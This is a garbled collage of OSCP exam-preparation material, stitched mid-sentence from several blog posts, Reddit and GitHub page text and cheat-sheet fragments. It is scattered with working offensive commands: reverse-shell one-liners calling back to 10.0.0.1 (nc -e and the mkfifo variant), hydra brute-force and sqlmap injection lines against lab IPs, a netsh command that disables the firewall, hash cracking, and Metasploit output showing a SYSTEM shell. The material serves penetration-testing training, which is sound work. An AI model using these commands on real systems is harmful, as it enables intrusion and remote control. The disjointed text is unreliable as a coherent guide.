Sometimes, an abundance of information from autorecon can lead you to the rabbit hole. My next goal is OSWE. nmap -sU -sV. Once I got the initial shell, then privilege escalation was KABOOM! Based on my arduous journey and the mistakes I made along the way, I hope this guide addresses the questions that those who are new to Penetration Testing are asking and also helps to provide a roadmap to take you from zero to OSCP. Earlier when I wrote the end is near, this is only the beginning! It consists in 3 main steps which are taught in the PWK course: Note that we do not recommend learners to rely entirely on this resource while working on the lab machines. So, I discarded the autorecon output and did manual enumeration. New skills cant be acquired if you just keep on replicating your existing ones. I scheduled my exam for the morning of February 23rd at 10:30 a.m., began with AD, and had an initial shell on one of the boxes in 30 minutes, but then misinterpreted something during post enumeration, resulting in wasting 56 hours trying to figure out something that was not required to move forward. Because of this I recommend documenting the exercises alongside the lab report containing details of how you exploited at least 10 lab machines earning you 5 bonus points in the exam. if you are not authorized to use them on the target machine. VHL offers 40+ machines with a varying degree of difficulty that are, CTF-like. If it comes, it will be a low privilege vector that will necessitate privilege escalation to achieve the full 20 points. If you want a .php file to upload, see the more featureful and robust php-reverse-shell. Oddly Offensive Security were kind enough to recently provide a structured. Meterpreter Script for creating a persistent backdoor on a target host. Total: 6 machines. So yes, I pwned all the 5 machines and attained 100 points in 12 hours and 35 minutes (including all the 6 breaks which account for 2.5 3 hours ). 90 days lab will cost you 1350$. Also, remember that youre allowed to use the following tools for infinite times. It took me more than a day to solve an easy machine and I was stuck often. john --wordlist=/root/rockyou.txt pass.txt, echo gibs@noobcomp.com:$P$BR2C9dzs2au72.4cNZfJPC.iV8Ppj41>pass.txt, echo -n 666c6167307b7468655f717569657465 |xxd -r -p. PUT to webserver: In the Exam, I would recommend dedicating a set amount of time to each machine and then moving on, returning later. Also, explore tools such as Impacket, Crackmapexec, Evil-winrm, Responder, Rubeus, Mimikatz. Covert py to .exe - pyinstaller: it will be of particular advantage in pursuing the. whilst also improving your scripting skillsit takes time but its worth it! An understanding of basic scripting will be helpful, you do not need to be able to write a script off the top of your head. Not too long later I found the way to root and secured the flag. By the time you sit your exam you should be able to read through a script, understand what it does and make the relevant changes. Looking back I used the time effectively on VHL, HTB and Proving Grounds to further my knowledge & understanding which most definitely contributed to my pass. Connect with me on Twitter, Linkedin, Youtube. #include A quick look on searchsploit identified the exploit which granted me a System shell following a few modifications. dnsenum foo.org We highly encourage you to compromise as many machines in the labs as possible in order to prepare for the OSCP exam. connect to the vpn. Please note that some of the techniques described are illegal if you are not authorized to use them on the target machine. So, OSCP is actually a lot easier than real-world machines where you dont know if the machine is vulnerable or not. Before taking the exam, I need to take the course Penetration Testing with Kali Linux (PWK) provided by Offensive Security. How I cracked Secarmys OSCP challenge and won the OSCP lab voucher for free. TheCyberMentor Buffer Overflow video and TryHackMe Buffer Overflow Prep room are more than sufficient for BOF preparation. User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html), Find file type based on pattern when file command does not work: Crunch to generate wordlist based on options. In this blog, I will try to provide all the details on my preparation strategy and what resources I utilized, so lets dive in . Its not like if you keep on trying harder, youll eventually hack the machine. I finished my Exam at about 8 a.m., after documenting other solved standalone machines. VHL also includes an instance of Metasploitable 2 containing. I practiced OSCP like VM list by TJNull. Keep the following in mind; An OSCP has demonstrated the ability to use persistence, creativity, and perceptiveness to identify vulnerabilities and execute organized attacks under tight time constraints. Free alternate link for this article: https://blog.adithyanak.com/oscp-preparation-guide, My Complete OSCP Notes: https://blog.adithyanak.com/oscp-preparation-guide/enumeration. These machines often have numerous paths to root so dont forget to check different walkthroughs! The OSCP certification will be awarded on successfully cracking 5 machines in 23.45 hours. To avoid spoilers, we only discussed when we had both solved individually. In this article, we will see a walkthrough of an interesting VulnHub machine called INFOSEC PREP: OSCP With the help of nmap we are able to dnsrecon -d megacorpone.com -t axfr, Vulnerability Scanning Youre not gonna pentest a real-world machine. Work fast with our official CLI. This experience comes with time, after pwning 100s of machines and spending countless hours starting at linpeas/winpeas output. lets start with nmap. From then, I actively participated in CTFs. We must first address the dilemma that is otherwise known in the underground as the elusive, perpetual Course Exercises. check sudo -l for a list of commands that the current user can run as other users without entering any password. Section 1 describes the requirements for the exam, Section 2 provides important information and suggestions, and Section 3 specifies instructions for after the exam is complete. Go for low hanging fruits by looking up exploits for service versions. If you have any questions or require any tips, I am happy to help on Discordhxrrvs#2715. So I followed Abraham Lincolns approach. Having passed I have now returned to THM and I actually really like their service. Please , short for Damn Vulnerable Web App. Since the buggy introduction of the service I can now vouch for it as it played a crucial role in my success. I waited one and half years to get that OSCP voucher, but these 5 days felt even longer. nmap --script all , cewl www.megacorpone.com -m 6 -w mega-cewl.txt, john --wordlist=mega-cewl.txt --rules --stdout > mega-mangled, hydra -l garry -F -P /usr/share/wordlists/rockyou.txt 10.11.1.73 -s 8080 http-post-form "/php/index.php:tg=login&referer=index.php&login=login&sAuthType=Ovidentia&nickname=^USER^&password=^PASS^&submit=Login:F=Failed:H=Cookie\: OV3176019645=a4u215fgf3tj8718i0b1rj7ia5", http-post-form ::F=, hydra -l root -P /root/rockyou.txt 10.11.1.71 ssh, sqlmap -u http://192.168.1.15:8008/unisxcudkqjydw/vulnbank/client/login.php --method POST --data "username=1&password=pass" -p "username,password" --cookie="PHPSESSID=crp8r4pq35vv0fm1l5td32q922" --dbms=MySQL --text-only --level=5 --risk=2, sqlmap -u "http://192.168.203.134/imfadministrator/cms.php?pagename=upload" --cookie="PHPSESSID=1im32c1q8b54vr27eussjjp6n2" -p pagename --level=5 --risk=3 -a, cut -c2- cut the first 2 characters You signed in with another tab or window. ~/Desktop/OSCP/ALICE# And it should work, but it doesn't. Such mistery, much amazing. You arent here to find zero days. I highly recommend solving them before enrolling for OSCP. I even had RedBull as a backup in case if too-much coffee goes wrong Thank god it didnt and I never had to use RedBull. For the remainder of the lab you will find bizarrely vague hints in the old Forumsome of them are truly stupendous. This was probably the hardest part of OSCP for me. I had to wait for 1 and a half years until I won an OSCP voucher for free. So learn as many techniques as possible that you always have an alternate option if something fails to produce output. OSCP 01/03/2020: Start my journey Mar 01 - 08, 2020: rooted 6 machines (Alice, Alpha, Mike, Hotline, Kraken, Dotty) & got low shell 3 machines (Bob, FC4, Sean). Nonetheless I had achieved 25 + 10 + 20 + 10(user) + 10(user) + 5 (bonus) = 80. Back when I began my journey there were numerous recommendations for different platforms for various reasonsall of which proved to be rather confusing. [*] 10.11.1.5:445 - Uploading payload ShgBSPrh.exe. When source or directry listing is available check for credentials for things like DB. The timeline only acts as a guide and heavily depends on your circumstances and how much time you can commit per day. He also offers three free rooms on Try Hack Me covering, Web Security AcademyThis is a free educational resource made by the creators of Burp Suite. Apr 20 - 26, 2020: replicated all examples and finished exercises of BoF exploits in PWK (then decided to take OSCE right after OSCP). DC-2 Walkthrough with S1RENTJNull's OSCP Prep List:https://docs.google.com:443/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlviewCertif. If you complete the 25 point buffer overflow, 10 pointer, get a user shell on the two 20 pointers and the 25 pointer, this leaves you with 65 points while 70 is the pass mark. 24 reverts are plenty enough already. There were times when I was truly insane throwing the same exploit over and over again hoping for a different outcome but it is one of the many things you will overcome! Complete one or two Buffer Overflows the day before your exam. I advise completing the majority of the. The most exciting phase is about to begin. Before starting, it will be helpful to read through the, on the lab structure and use the recommended, . So, after the initial shell, took a break for 20 minutes. At this stage I had achieved 65 points (+ 5 bonus) so I was potentially at a passing mark. Im super comfortable with buffer overflows as I have almost 2 years of experience with it. "C:\Program Files\Python27\python.exe" "C:\Program Files\Python27\Scripts\pyinstaller-script.py" code.py, From http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet. Additional certs such as CREST CPSA , CompTIA PenTest+ (more managerial) may help further your knowledge. By now you may have given thought to Buffer Overflows and its significance as it provides a crucial 25 points in the exam. Also try for PE. The start of this journey will be painfully slow as you overcome that initial learning curve and establish your own. However, despite not being dependant on the bonus 5 points for my exam pass, I am glad I went through the ordeal as it offers a good insight into Active Directory and helps to introduce you to topics that you may have otherwise overlooked such as pivoting and client side attacks. Use pwdump3 to extract hasches from these and run john: Easy fail - /etc/passwd (and shadow) permision, SAM file in Repairs, check how patched the system is to get an idea of next steps, Info disclosure in compromised service/user - also check logs and home folders, files/folders/service (permission) misconfiguration. Which is best? My Proctors were super friendly and coped with me even when I had few internet troubles and screen sharing issues. Privilege Escalation As a first step towards privilege escalation, we want to find SUID set files. I converted the TJNull sheet to another sheet to keep track of the boxes I solved and tracked them together with my friend.You can find a sample copy of the sheet here. crunch 10 10 -t %%%qwerty^ > craven.txt Finally, buy a 30 days lab voucher and pwn as many machines as possible. I tried using tmux but opted against it instead I configured window panes on QTerminal. If you have made it this far Congratulations the end is near! rev: If you found this guide useful please throw me some claps or a follow because it makes me happy :) Oscp. This would not have been possible without their encouragement and support. to use Codespaces. netsh firewall set opmode mode=DISABLE [+] 10.11.1.5:445 - Overwrite complete SYSTEM session obtained! 4_badcharacters.py Privilege escalation is 17 minutes. gh0st. OSCP is not like other exams where you do your preparation knowing that there is a chance that something in your prep will directly appear on your exam (e.g. With the help of nmap we are able to scan all open tcp portsStarting with the port number 80 which is http, [][root@RDX][~] #nikto --url http://192.168.187.229, [root@RDX][~] #chmod 600 secret.txt, [root@RDX][~] #ssh -i secret.txt oscp@192.168.187.229. Hey everyone, I have finally come round to completing my guide to conquering the OSCP To my mind the Advanced+ machines are similar in terms of difficulty to OSCP. The location of the flag is indicated on VulnHub: but we do not know the password, since we logged in using a private key instead. A place for people to swap war stories, engage in discussion, build a community, prepare for the course and exam, share tips, ask for help. Similar to the second 20 pointer I could not find the way to root. The purpose of the exam is to test your enumeration and methodology more than anything. ps -f ax for parent id I went down a few rabbit holes full of false hope but nothing came of it. Simply put, a buffer overflow occurs when inputted data occupies more space in memory than allocated. 5 hours 53 minutes into the exam and I already have a passing score of 70 points. Reddit and its partners use cookies and similar technologies to provide you with a better experience. Im forever grateful to all my Infosec seniors who gave me moral support and their wisdom whenever needed. Hehe. THM offer a. Took a break for 20 minutes right after submitting proof.txt for the Buffer Overflow machine. The fix: Then, moving on to standalone machines, I began enumerating them one by one in order to discover low-hanging fruit, and within the following two hours, I was able to compromise another machine. The exam will include an AD set of 40 marks with 3 machines in the chain. Instead Offsec will present you vulnerabilities they know you have not exploited before. Now reboot the virtual machine. Dont forget to work through the client and sandbox AD domains. ps afx for graphical parent id. zip -r zipped.zip . On the 20th of February, I scheduled to take my exam on the 24th of March. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/, Hacker by Passion and Information Security Researcher by Profession, https://blog.adithyanak.com/oscp-preparation-guide, https://blog.adithyanak.com/oscp-preparation-guide/enumeration. I've had a frustrating experience identifying the correct exploit due to the extremely low success rate i've been experiencing with 08 and EB. First things first. This is one of the things you will overcome with practice. My preferred tool is. However diligent enumeration eventually led to a low privileged shell. Figure out dns server: Machine Walkthroughs Alice with Siddicky (Student Mentor) Offensive Security 14.1K subscribers Subscribe 11K views 10 months ago Join Siddicky, one of our Student Mentors in a walkthrough on. After around an hour of failed priv esc enumeration I decided to move onto the 25 pointer. I never felt guilty about solving a machine by using walkthroughs. So, in order to prepare for Active Directory, I rescheduled my lab from December 5 to December 19, giving me 15 days to prepare. This worked on my test system. Youll need to authorise the target to connect to you (command also run on your host): However once you grasp that initial understanding all of the pieces will quickly fall into place. Each path offers a free introduction. You arent writing your semester exam. The info-graph they show emphasises that the more machines you complete in PWK, the more likely you are to pass (who would have thought). I share my writeups of 50+ old PG Practice machines (please send a request): http://www.networkadminsecrets.com/2010/12/offensive-security-certified.html, https://www.lewisecurity.com/i-am-finally-an-oscp/, https://teckk2.github.io/category/OSCP.html, https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob, http://www.lucas-bader.com/certification/2015/05/27/oscp-offensive-security-certified-professional, http://www.securitysift.com/offsec-pwb-oscp/, https://www.jpsecnetworks.com/category/oscp/, http://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/, https://alphacybersecurity.tech/my-fight-for-the-oscp/, https://tulpa-security.com/2016/09/19/prep-guide-for-offsecs-pwk/, https://legacy.gitbook.com/book/sushant747/total-oscp-guide/details, https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html, https://411hall.github.io/OSCP-Preparation/, https://h4ck.co/oscp-journey-exam-lab-prep-tips/, https://sinw0lf.github.io/?fbclid=IwAR3JTBiIFpVZDoQuBKiMyx8VpBQP8TP8gWYASa__sKVrjUMCg7Z21VxrXKk, 11/2019 - 02/2020: Root all 43/43 machines. [*] 10.11.1.5:445 - Created \ILaDAMXR.exe [+] 10.11.1.5:445 - Service started successfully [*] Sending stage (175174 bytes) to 10.11.1.5. }, Hello there, I wanted to talk about how I passed OSCP new pattern, which includes Active Directory in the exam. width: 90%; Other than AD there will be 3 independent machines each with 20 marks. note that some of the techniques described are illegal Created a recovery point in my host windows as well. Learn more about the CLI. . Ill pass if I pwn one 20 point machine. Exploiting it right in 24 hours is your only goal. R0B1NL1N/OSCP-note . Cookie Notice This is the trickiest machine I had ever seen. At first you will be going through ippsec videos and guides but eventually you will transition away from walkthroughs and work through machines on your own. The best way to get rid of your enemies is to make them your friends. I scheduled my exam for February 23, 2022, and passed it successfully in my first attempt. offers machines created by Offensive Security and so the approach and methodology taught is very much in line with the OSCP. After 2 months of HackTheBox practice, I decided to book the PWK Labs in mid-November, which were intended to begin on December 5th, but Offensive Security updated the Exam format introducing Active Directory, which I had just heard the name of until then :(. It is important to mention the actual day to day work of a Penetration Tester differs greatly and online lab environments can only emulate a penetration test to such an extent. An outline of my progress before I passed: The exam itself will not feature exploits you have previously come across. I cant believe my eyes I did it in 17 minutes that I had to recheck and rerun the exploit multiple times. This machine took a while as it was against a service I had not come across before. Pwned 50100 vulnhub machines. You will eventually reach your target and look back on it all thinking, This endeavour will cost in the region of $1,360/1,000+ (very fairly priced compared to the likes of, ). I recommend solving as many boxes as possible in the lab as they are more like the real world, with some being interdependent on one another and others requiring pivoting. 5 Desktop for each machine, one for misc, and the final one for VPN. Looking back on this lengthy post, this pathway is somewhat a modest overkill. I worked on VHL every day of my access and completed. My OSCP 2020 Journey A quick dump of notes and some tips before I move onto my next project. I completed over, Visualisation of me overthinking buffer overflows before I had even tried it. There is also a great blog on Attacking Active Directory that you should check out. After scheduling, my time started to run in slow motion. Recently, I hear a lot of people saying that proving grounds has more OSCP like VMs than any other source. For these 6 hours, I had only been sipping my coffee and water. Run local smb server to copy files to windows hosts easily: Run as: Logged into proctoring portal at 5.15 and finished the identity verification. Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which dont support the -e option. nc -e /bin/sh 10.0.0.1 1234 However the PWK PDF has a significant module on it and you should definitely go through it and pivot into the different networks. But thats not the case of Privilege escalation. By rejecting non-essential cookies, Reddit may still use certain cookies to ensure the proper functionality of our platform. Sorry for the inconvenience. As a result, I decided to buy a subscription . Whichever you decide, do not pursue CEH . I did not use these but they are very highly regarded and may provide you with that final push. My parents are super excited, even though they dont know what OSCP is at first, they saw the enormous nights I have been awake and understood that its a strenuous exam. I have seen writeups where people had failed because of mistakes they did in reports. Just follow the steps in: https://medium.com/@minix9800/exploit-eternal-blue-ms17-010-for-windows-xp-with-custom-payload-fabbbbeb692f Another interesting post about MS17-010: https://medium.com/@minix9800/exploit-eternal-blue-ms17-010-for-window-7-and-higher-custom-payload-efd9fcc8b623 More posts you may like r/DataHoarder comments sorted by Best Top New Controversial Q&A Add a Comment More posts you may like . This is intended to be a resource where learners can obtain small nudges or help while working on the PWK machines. This is a walkthrough for Offensive Security's Twiggy box on their paid subscription service, Proving Grounds. It will try to connect back to you (10.0.0.1) on TCP port 6001. Coming back in some time I finally established a foothold on another machine, so had 80 points by 4 a.m. in the morning; I was even very close to escalating the privileges but then decided to solve AD once again and take some missing screenshots. Luck is directly proportional to the months of hard work you put, Created a targetst.txt file. check for files which stickey bits. During my lab time I completed over. Apr 27 - May 03, 2020: watched PWK videos & Udemy courses on Windows privesc, started writing my own cheatsheet. Pasted the 4 IPs (excluding BOF) into targets.txt and started with, autorecon -t targets.txt only-scans-dir, While that was running, I started with Buffer Overflow like a typical OSCP exam taker. I completed my undergraduate program in Information Technology and will be pursuing my Masters in Information Security at Carnegie Mellon University this fall 2021. Partly because I had underrated this machine from the writeups I read. To check run ./ id, http://www.tldp.org/HOWTO/SMB-HOWTO-8.html, https://github.com/micahflee/phpass_crack, http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, http://www.geoffchappell.com/studies/windows/shell/explorer/history/index.htm, https://support.microsoft.com/en-us/help/969393/information-about-internet-explorer-versions, When searching for exploit search with CVE, service name (try generic when exact is not found). When I looked at the home page again, it referenced an 'oscp' user, so I was hoping that this was who the key was for. There is a supportive VHL community on. root@kali: ~/VulnHub/oscpPrep # ssh -i newssh-key oscp@192.168.5.221 Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.-40-generic x86_64 if python is found find / -name "python*" 2>/dev/null it can be used to get TTY with: Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Escalated privileges in 30 minutes. If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f, [Untested submission from anonymous reader]. A Buffer overflow can be leveraged by an attacker with a goal of modifying a computer's memory to undermine or gain control of the . Cookie Notice But I never gave up on enumerating. [*] 10.11.1.5:445 - Created \ShgBSPrh.exe [*] 10.11.1.5:445 - Deleting \ShgBSPrh.exe [*] 10.11.1.5 - Meterpreter session 9 closed. Our next step is scanning the target machine. The version number for the vulnerable service was nicely advertised. You can essentially save up to 300$ following my preparation plan. The general structure that I used to complete Buffer Overflows: 1_crash.py Privacy Policy. 2_pattern.py I felt comfortable with the machines after solving around 5560 machines from Tjnull Hackthebox List, therefore I switched to PWK Labs.